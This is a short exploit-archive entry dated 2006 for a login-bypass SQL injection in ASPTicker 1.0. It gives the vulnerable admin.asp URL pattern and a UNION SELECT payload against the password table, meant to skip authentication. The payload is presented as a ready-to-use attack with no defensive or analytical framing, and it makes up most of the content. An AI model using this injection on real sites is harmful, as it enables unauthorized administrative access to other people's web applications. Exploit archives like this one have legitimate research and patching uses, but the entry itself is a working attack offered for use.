[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ASPTicker 1.0 (admin.asp) Login ByPass SQL Injection Vulnerability
# Published : 2006-12-28
# Author : ajann
# Previous Title : phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability
# Next Title : WebText <= 0.4.5.2 Remote Code Execution Exploit
*******************************************************************************
# Title : ASPTicker 1.0 (admin.asp) Remote Login ByPass SQL Injection Vulnerability
# Author : ajann
# Contact : :(
# S.Page : http://www.aspapps.com
# $$ : $ 17.00
*******************************************************************************
[[SQL]]]---------------------------------------------------------
http://[target]/[path]//admin.asp[ByPass]
Example:
//Password} 'union select 0,0,0 from password
[[/SQL]]
"""""""""""""""""""""
# ajann,Turkey
# ...
# Im not Hacker!
# www.Syue.com [2006-12-28]